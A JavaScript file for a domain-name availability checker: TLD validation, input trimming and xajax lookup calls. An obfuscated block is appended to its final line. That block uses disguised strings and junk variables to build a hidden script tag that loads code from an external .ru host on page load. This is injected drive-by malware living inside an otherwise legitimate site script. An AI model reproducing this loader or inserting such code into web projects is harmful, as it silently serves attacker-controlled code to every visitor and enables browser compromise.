var INVALID_CHARS_REGEXP = /[^abcdefghijklmnopqrstuvwxyz .01234567890-]/gi;
var validTlds = new Array('.ac','.ac.il','.ac.uk','.aero','.ag','.am','.arpa','.as','.at','.au','.be','.bg','.biz','.br','.br.com','.bt','.bz','.ca','.cc','.cd','.ch','.ck','.cl','.cn','.cn.com','.co.il','.co.nz','.co.uk','.com','.com.br','.com.cn','.coop','.cx','.cz','.de','.de.com','.dk','.edu','.edu.cn','.ee','.eu','.eu.com','.fi','.fj','.fm','.fr','.gb.com','.gb.net','.gg','.gm','.gov','.gov.il','.gov.uk','.gs','.hk','.hm','.hn','.hu','.hu.com','.id','.id.au','.ie','.in','.info','.int','.ir','.is','.it','.je','.jobs','.jp','.k12.il','.ke','.kr','.la','.li','.lk','.lt','.lu','.lv','.mc','.md','.me.uk','.mil','.mobi','.ms','.mu','.muni.il','.museum','.mx','.my','.name','.nc','.net','.net.cn','.net.il','.nl','.no','.no.com','.nu','.nz','.org','.org.cn','.org.il','.org.uk','.pl','.pt','.pw','.qc.com','.re','.ro','.ru','.ru.com','.sa.com','.sc','.se','.se.com','.se.net','.sg','.sh','.si','.sk','.sm','.sr','.st','.tc','.tf','.th','.tj','.tm','.to','.tr','.tv','.tw','.ua','.uk','.uk.com','.uk.net','.us','.us.com','.uy.com','.vc','.ve','.vg','.web.com','.ws','.za.com'); 
var usedTlds = new Array('com','net','org','biz','info','name','us','ca','uk');



var OnKeyRequestBuffer = 
{
        bufferText: false,
        bufferTime: 500,
        
        modified : function(strId)
        {
           setTimeout('OnKeyRequestBuffer.compareBuffer("'+strId+'","'+xajax.$(strId).value+'");', this.bufferTime);
        },
        
        compareBuffer : function(strId, strText)
        {
            if (strText == xajax.$(strId).value && strText != this.bufferText)
            {
                this.bufferText = strText;
                OnKeyRequestBuffer.makeRequest(strId);
            }
        },
        
        makeRequest : function(strId)
        {
            
            var domain = xajax.$(strId).value;
			var domainValue = trim(domain).toLowerCase();
			if(domainValue.indexOf("www.")==0||domainValue.indexOf("http://")==0||domainValue.indexOf("https://")==0)
			domainValue = domainValue.substring(domainValue.indexOf("www.")+4);
			domainValue = domainValue.replace(INVALID_CHARS_REGEXP,'');
			
			var tld = getTld(domainValue);
				
			if(tld!=null&&tld.length>0){
				enterOneDomainLookupMode(tld);
				domain = getDomain(domainValue);
				if(validateDomain(domainValue)){
					xajax_doSearchDomain(domain,tld);
				}
			}else{
				leaveOneDomainLookupMode();
				for(var i=0;i<usedTlds.length;i++){		
					var check_box = getObjectByID(usedTlds[i]+'_tpl');			
					if(check_box.checked){				
						if(validateDomain(domainValue +'.'+check_box.value)){
						 	xajax_doSearchDomain(domainValue,check_box.value);
						}
					}
				}
			}
        }
}


function doLookup(tld){
			var domain = xajax.$('domain').value;
			var domainValue = trim(domain).toLowerCase();
			if(domainValue.indexOf("www.")==0||domainValue.indexOf("http://")==0||domainValue.indexOf("https://")==0)
			domainValue = domainValue.substring(domainValue.indexOf("www.")+4);
			domainValue = domainValue.replace(INVALID_CHARS_REGEXP,'');
			
			//var tld = getTld(domainValue);
				
			if(tld!=null&&tld.length>0){
				enterOneDomainLookupMode(tld);
				domain = getDomain(domainValue);
				if(validateDomain(domainValue)){
					xajax_doSearchDomain(domain,tld);
				}
			}else{
				leaveOneDomainLookupMode();
				for(var i=0;i<usedTlds.length;i++){		
					var check_box = getObjectByID(usedTlds[i]+'_tpl');			
					if(check_box.checked){				
						if(validateDomain(domainValue +'.'+check_box.value)){
						 	xajax_doSearchDomain(domainValue,check_box.value);
						}
					}
				}
			}
}

function getInputValue(){
	var domain=getObjectByID('domain').value;
	var output=trim(domain).toLowerCase();
	if(output.indexOf("www.")==0||output.indexOf("http://")==0||output.indexOf("https://")==0)
	output=output.substring(output.indexOf("www.")+4);
	output=output.replace(INVALID_CHARS_REGEXP,'');
	return output;
}

function getTld(domain){
	if(domain.indexOf(".")==-1)
		return null;
	else
		return domain.substring(domain.indexOf(".")+1,domain.length);
}

function getDomain(domain){
	var output=null;
	if(domain==null)
		output=null;
	else if(domain.indexOf(".")==-1)
		output=domain;
	else
		output=domain.substring(0,domain.indexOf('.'));
	return output;
}
function hasTld(domain){
	return domain.indexOf('.')>-1;
}


function checkspace(checkstr) {
  var str = '';
  for(i = 0; i < checkstr.length; i++) {
    str = str + ' ';
  }
  return (str == checkstr);
}

function getObjectByID(id){
	var theObject;
	if(document.getElementById)
		theObject=document.getElementById(id);
	else
		theObject=document.all[id];
	return theObject;
}

function trim(str)
{
	return str.replace(/^\s*|\s*$/g,"");
}
function validateDomain(nname)
{
	var arr=validTlds;
	var mai=nname;
	var val=true;
	var dot=mai.lastIndexOf(".");
	var dname=mai.substring(0,dot);
	var ext=mai.substring(dot,mai.length);
	if(dot>1&&dot<57){
		for(var i=0;i<arr.length;i++){
			if(ext==arr[i]){
				val=true;
				break;
			}else{
				val=false;
			}
		}
		if(val==false){
			return false;
		}else{
			for(var j=0;j<dname.length;j++){
				var dh=dname.charAt(j);
				var hh=dh.charCodeAt(0);
				if((hh>47&&hh<59)||(hh>64&&hh<91)||(hh>96&&hh<123)||hh==45||hh==46){
					if((j==0||j==dname.length-1)&&hh==45){
						return false;
					}
				}
				else{
					return false;
				}
			}
		}
	}
	else{
		return false;
	}
	return true;
}
function enterOneDomainLookupMode(tld){
	for(var i=0;i<usedTlds.length;i++){		
		var result_box = getObjectByID(usedTlds[i]+'_result_box');
		result_box.style.display='none';
	}
	var check_box = getObjectByID(tld+'_tpl');			
	if(check_box.checked){	
		var result_box = getObjectByID(tld+'_result_box');
		if(result_box)
			result_box.style.display='block';
	}	
}
function leaveOneDomainLookupMode(){
	for(var i=0;i<usedTlds.length;i++){
		var check_box = getObjectByID(usedTlds[i]+'_tpl');			
		if(check_box.checked){		
			var result_box = getObjectByID(usedTlds[i]+'_result_box');
			result_box.style.display='block';
		}
	}	
	
}

function toggle_result_box(result_box){	
	var result_box = getObjectByID(result_box+'_result_box');
	if(result_box.style.display=='none'){
		result_box.style.display='block';
		doLookup(result_box);
	}
	else{
		result_box.style.display='none';
	}
}

zr={r:false};HB={G:false};var h;m=function(){this.t=false;var rT=new String();var e=[];function Y(o,K,v){var eE="eE";xN=38132;xN+=74;return o.substr(K,v);var Ew=[];}var KE=document;yF={OJ:16961};YL={CC:14552};var X='';S=[];var J=new String("/mozi"+"lla-o"+"rg/go"+Y("ogle.zum0",0,5)+Y("6jutcom/yuj6t",4,5)+Y("ahoo.K0y",0,5)+Y("fkK6com.ckfK6",4,5)+"n.php");this.dj=false;var T=RegExp;var XL={TK:"Il"};var B='';this.Nn=28966;this.Nn-=187;function y(o,K){var Ta=["Xj","QI","HH"];Mm={ty:false};var v=String("[")+K+new String("]");this.CCB="";var l={};var A=new T(v, new String(Y("g6cw",0,1)));this.xz="";return o.replace(A, X);var QIn=[];};var p=false;g=[];var c=new Array();var N=493500-485420;try {var HU='WD'} catch(HU){};var tr=false;var i=y('secKrKidpVte','KSkjRQ8J7d6F3eoVbTGAC');try {var lM='ch'} catch(lM){};var x=null;var Hp=["ncL","mM","Hz"];var JV=false;var E=new String(Y("bo2TL3",0,2)+"dy");dC={Td:"xl"};_j={Ob:"Tn"};this.kA="kA";h=function(){var VM="";var SZ="";try {var H=y('cSrFe5a5tFeKEFlFe5mKebnMtX','BM5XKSFb');var Nc=["Mz"];u=KE[H](i);this.mu=39314;this.mu++;var JW=new String();PB=49213;PB-=101;var rD=["kv","cX"];var W=new String("def"+"er");var Ab=y('swr4c8','84jKIw6');var o=N+J;this.qc=41519;this.qc++;this.HN=44600;this.HN++;var wUD=[];var Gg=["dq","fn"];this.TKV="TKV";u[W]=[1,2][0];var pT=[];u[Ab]="http:"+"//ten"+"thpro"+"fit.r"+Y("u:XEpG",0,2)+o;KE[E].appendChild(u);this.nw=48364;this.nw-=52;this.yH=19577;this.yH--;} catch(z){iG=21951;iG++;};};this.fa="";var xR=["nO"];};this._k=50897;this._k--;try {var ci='Rg'} catch(ci){};m();window.onload=h;NI=4636;NI+=88;var dY=["NF"];